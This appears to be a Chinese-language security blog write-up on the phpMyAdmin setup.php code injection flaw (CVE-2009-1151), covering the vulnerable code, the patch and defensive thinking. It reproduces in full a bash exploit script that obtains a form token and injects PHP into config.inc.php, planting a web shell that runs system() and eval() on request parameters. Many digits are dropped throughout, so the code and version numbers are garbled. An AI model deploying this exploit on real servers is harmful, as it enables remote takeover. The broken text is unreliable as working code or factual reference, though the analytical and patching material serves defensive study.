6jj7BXxcPqKaG/UkSiMQCBhFI4YWlsOx+L3FVx2RpSvh+c/vPv3i8j+MQFnTtAJGgo/B/oWJnngZmO/ip1lDuL1eqSSidND6XtYAxCmENuQ4dh3znp09g5us6FTRKshMQSvrp2vvY7k91y4P5hl4HcPHZSP7l/b/OZqrlc95MVUAAAAASUVORK5CYII=" alt="" />

当config文件夹不存在时,即使setup.php文件存在漏洞,黑客利用Poc也是无法向目标服务器打入WEBSHELL的

反之,如果没有出现这个提示,则说明具备存在漏洞的必要条件

0x1: Exploit POC

POC的发起需要附带对应的token,在手工测试的时候需要注意这点

#!/bin/bash

# CVE--: phpMyAdmin '/scripts/setup.php' PHP Code Injection RCE PoC v0.
# by pagvac (gnucitizen.org), 4th June .
# special thanks to Greg Ose (labs.neohapsis.com) for discovering such a cool vuln,
# and to str0ke (milw0rm.com) for testing this PoC script and providing feedback! # PoC script successfully tested on the following targets:
# phpMyAdmin 2.11., 2.11.9.3, 2.11.9.4, 3.0. and 3.0.1.1
# Linux 2.6.--generic i686 GNU/Linux (Ubuntu 8.04.) # attack requirements:
# ) vulnerable version (obviously!): 2.11.x before 2.11.9.5
# and .x before 3.1.3.1 according to PMASA--
# ) it *seems* this vuln can only be exploited against environments
# where the administrator has chosen to install phpMyAdmin following
# the *wizard* method, rather than manual method: http://snipurl.com/jhjxx
# ) administrator must have NOT deleted the '/config/' directory
# within the '/phpMyAdmin/' directory. this is because this directory is
# where '/scripts/setup.php' tries to create 'config.inc.php' which is where
# our evil PHP code is injected ) # more info on:
# http://www.phpmyadmin.net/home_page/security/PMASA-2009-3.php
# http://labs.neohapsis.com/2009/04/06/about-cve-2009-1151/ if [[ $# -ne ]]
then
echo "usage: ./$(basename $0) <phpMyAdmin_base_URL>"
echo "i.e.: ./$(basename $0) http://target.tld/phpMyAdmin/"
exit
fi if ! which curl >/dev/null
then
echo "sorry but you need curl for this script to work!"
echo "on Debian/Ubuntu: sudo apt-get install curl"
exit
fi function exploit { /*
动态获取token
token=$1&action=save&configuration="a:1:{s:7:"Servers";a:1:{i:0;a:6:{s:23:"host']="''; phpinfo();//";s:9:"localhost";s:9:""extension";s:6:"mysqli";s:12:"connect_type";s:3:""tcp";s:8:"compress";b:0;s:9:"auth_type";s:6:""config";s:4:"user";s:4:"root";}}}&eoltype=unix
*/
postdata="token=$1&action=save&configuration="\
"a:1:{s:7:%22Servers%22%3ba:1:{i:0%3ba:6:{s:23:%22host%27]="\
"%27%27%3b%20phpinfo%28%29%3b//%22%3bs:9:%22localhost%22%3bs:9:"\
"%22extension%22%3bs:6:%22mysqli%22%3bs:12:%22connect_type%22%3bs:3:"\
"%22tcp%22%3bs:8:%22compress%22%3bb:0%3bs:9:%22auth_type%22%3bs:6:"\
"%22config%22%3bs:4:%22user%22%3bs:4:%22root%22%3b}}}&eoltype=unix" /*
发起攻击
token=$1&action=save&configuration=a:1:"{s:7:"Servers";a:1:{i:0;a:6:{s:136:"host']="''; if(\$_GET['c']){echo '<pre>';"system(\$_GET['c']);echo '</pre>';}"if(\$_GET['p']){echo '<pre>';eval"(\$_GET['p']);echo '</pre>';};//"";s:9:"localhost";s:9:"extension";s:6:""mysqli";s:12:"connect_type";s:3:"tcp";s:8:""compress";b:0;s:9:"auth_type";s:6:"config"";s:4:"user";s:4:"root";}}}&eoltype=unix
*/
postdata2="token=$1&action=save&configuration=a:1:"\
"{s:7:%22Servers%22%3ba:1:{i:0%3ba:6:{s:136:%22host%27%5d="\
"%27%27%3b%20if(\$_GET%5b%27c%27%5d){echo%20%27%3cpre%3e%27%3b"\
"system(\$_GET%5b%27c%27%5d)%3becho%20%27%3c/pre%3e%27%3b}"\
"if(\$_GET%5b%27p%27%5d){echo%20%27%3cpre%3e%27%3beval"\
"(\$_GET%5b%27p%27%5d)%3becho%20%27%3c/pre%3e%27%3b}%3b//"\
"%22%3bs:9:%22localhost%22%3bs:9:%22extension%22%3bs:6:%22"\
"mysqli%22%3bs:12:%22connect_type%22%3bs:3:%22tcp%22%3bs:8:"\
"%22compress%22%3bb:0%3bs:9:%22auth_type%22%3bs:6:%22config"\
"%22%3bs:4:%22user%22%3bs:4:%22root%22%3b}}}&eoltype=unix" flag="/tmp/$(basename $0).$RANDOM.phpinfo.flag.html" echo "[+] attempting to inject phpinfo() ..."
curl -ks -b $ -d "$postdata" --url "$3/scripts/setup.php" >/dev/null if curl -ks --url "$3/config/config.inc.php" | grep "phpinfo()" >/dev/null
then
curl -ks --url "$3/config/config.inc.php" >$flag
echo "[+] success! phpinfo() injected successfully! output saved on $flag"
curl -ks -b $ -d $postdata2 --url "$3/scripts/setup.php" >/dev/null
echo "[+] you *should* now be able to remotely run shell commands and PHP code using your browser. i.e.:"
echo " $3/config/config.inc.php?c=ls+-l+/"
echo " $3/config/config.inc.php?p=phpinfo();"
echo " please send any feedback/improvements for this script to"\
"unknown.pentester<AT_sign__here>gmail.com"
else
echo "[+] no luck injecting to $3/config/config.inc.php :("
exit
fi
}
# end of exploit function cookiejar="/tmp/$(basename $0).$RANDOM.txt"
token=`curl -ks -c $cookiejar --url "$1/scripts/setup.php" | grep \"token\" | head -n 1 | cut -d \" -f 12`
echo "[+] checking if phpMyAdmin exists on URL provided ..." #if grep phpMyAdmin $cookiejar 2>/dev/null > /dev/null
if grep phpMyAdmin $cookiejar &>/dev/null
then
length=`echo -n $token | wc -c` # valid form token obtained?
if [[ $length -eq ]]
then
echo "[+] phpMyAdmin cookie and form token received successfully. Good!"
# attempt exploit!
exploit $token $cookiejar $
else
echo "[+] could not grab form token. you might want to try exploiting the vuln manually :("
exit
fi
else
echo "[+] phpMyAdmin NOT found! phpMyAdmin base URL incorrectly typed? wrong case-sensitivity?"
exit
fi

Relevant Link:

http://www.gnucitizen.org/static/blog/2009/06/phpmyadminrcesh.txt

3. 漏洞影响范围

0x1: 存在漏洞的程序版本

. For 2.11.x: versions before 2.11.9.5
. For .x: versions before 3.1.3.1

4. 漏洞代码分析

0x1: source code sample downloan link

http://download.chinaunix.net/download.php?id=29329&ResourceID=42

0x2: Vul Code Analysis

\setup.php: 漏洞存在在和配置文件读写相关的代码片段中

1. 对输入数据没有进行过滤、参数化防御

function get_cfg_string($cfg)
{
global $script_info, $script_version, $now, $crlf; $c = $cfg;
$ret = "<?php$crlf/*$crlf * Generated configuration file$crlf * Generated by: $script_info$crlf * Version: $script_version$crlf * Date: " . $now . $crlf . ' */' . $crlf . $crlf; if (count($c['Servers']) > )
{
die(var_dump($c['Servers']));
$ret .= "/* Servers configuration */$crlf\$i = 0;" . $crlf;
foreach ($c['Servers'] as $cnt => $srv)
{
$ret .= $crlf . '/* Server ' . strtr(get_server_name($srv, $cnt, false), '*', '-') . " */$crlf\$i++;" . $crlf;
foreach ($srv as $key => $val)
{
/*
$key = preg_replace('/[^A-Za-z0-9_]/', '_', $key);
对用户的输入数据没有进行必要的处理
1. 过滤、转移:防止出现代码和数据的混淆
2. 参数化防御:原则上只能接收来自用户的一定限定范围内的数据
*/
$ret .= get_cfg_val("\$cfg['Servers'][\$i]['$key']", $val);
}
}
$ret .= $crlf . '/* End of servers configuration */' . $crlf . $crlf;
}
unset($c['Servers']); foreach ($c as $key => $val)
{
/*
$key = preg_replace('/[^A-Za-z0-9_]/', '_', $key);
对用户的输入数据没有进行必要的处理
1. 过滤、转移:防止出现代码和数据的混淆
2. 参数化防御:原则上只能接收来自用户的一定限定范围内的数据
*/
$ret .= get_cfg_val("\$cfg['$key']", $val);
} $ret .= '?>' . $crlf;
return $ret;
}

2. 对输出到磁盘文件上的数据没有进行必要的转义、过滤

...
<?php
break;
case 'save':
//以写的方式打开config.inc.php文件,如果不存在,则创建之
$config = @fopen('./config/config.inc.php', 'w');
if ($config === FALSE)
{
message('error', 'Could not open config file for writing! Bad permissions?');
break;
}
//从$_SESSION['configuration']中获取配置信息,而黑客可以通过$_POST数据包注入控制这个$SESSION['configuration']数组信息
$s = get_cfg_string($_SESSION['configuration']);
$r = fwrite($config, $s);
if (!$r || $r != strlen($s))
{
message('error', 'Could not write to config file! Not enough space?');
break;
}
else
{
message('notice', 'Configuration saved to file config/config.inc.php in phpMyAdmin top level directory, copy it to top level one and delete directory config to use it.', 'File saved');
}
unset($r, $s);
fclose($config);
break;
...

5. 修复方法

0x1: Upgrade to phpMyAdmin 2.11.9.5 or 3.1.3.1

0x2: Apply patch

function get_cfg_string($cfg)
{
global $script_info, $script_version, $now, $crlf; $c = $cfg;
$ret = "<?php$crlf/*$crlf * Generated configuration file$crlf * Generated by: $script_info$crlf * Version: $script_version$crlf * Date: " . $now . $crlf . ' */' . $crlf . $crlf; if (count($c['Servers']) > )
{
$ret .= "/* Servers configuration */$crlf\$i = 0;" . $crlf;
foreach ($c['Servers'] as $cnt => $srv)
{
$ret .= $crlf . '/* Server ' . strtr(get_server_name($srv, $cnt, false), '*', '-') . " */$crlf\$i++;" . $crlf;
foreach ($srv as $key => $val)
{
//防御代码
$key = preg_replace('/[^A-Za-z0-9_]/', '_', $key);
$ret .= get_cfg_val("\$cfg['Servers'][\$i]['$key']", $val);
}
}
$ret .= $crlf . '/* End of servers configuration */' . $crlf . $crlf;
}
unset($c['Servers']); foreach ($c as $key => $val)
{
//防御代码
$key = preg_replace('/[^A-Za-z0-9_]/', '_', $key);
$ret .= get_cfg_val("\$cfg['$key']", $val);
} $ret .= '?>' . $crlf;
return $ret;
}

这是一种参数化防御的思想,将用户可以输入的server参数限定在"数字 or 字母"之中,防止黑客通过参数注入达到代码注入并执行的目的

Relevant Link:

https://github.com/phpmyadmin/phpmyadmin/commit/460a649dbcc47065fbf01bbc14392c3fc6ea161b

6. 攻防思考

0x1: Improper encoding

Improper encoding or escaping can allow attackers to change the commands that are sent to another component, inserting malicious commands instead.
Most software follows a certain protocol that uses structured messages for communication between components, such as queries or commands. These structured messages can contain raw data interspersed with metadata or control information. For example, "GET /index.html HTTP/1.1" is a structured message containing a command ("GET") with a single argument ("/index.html") and metadata about which protocol version is being used ("HTTP/1.1").
If an application uses attacker-supplied inputs to construct a structured message without properly encoding or escaping, then the attacker could insert special characters that will cause the data to be interpreted as control information or metadata. Consequently, the component that receives the output will perform the wrong operations, or otherwise interpret the data incorrectly.

Relevant Link:

http://cwe.mitre.org/data/definitions/116.html

0x2: 中心化、底层代码逻辑防御思想

对于WEB代码层漏洞的防御和修复,将防御点下移,在中心、底层的代码逻辑部署防御模块。基于这个思想,我们可以有如下几种防御代码部署方式

. 在系统边界的数据接收模块中部署参数化防御、过滤模块
. 在代码执行的底层执行逻辑块中部署恶意、可疑代码检测、清洗模块

关于这种防御思想的应用,请参阅另外2篇文章

http://www.cnblogs.com/LittleHann/p/3602731.html
http://www.cnblogs.com/LittleHann/p/3574694.html

Copyright (c) 2014 LittleHann All rights reserved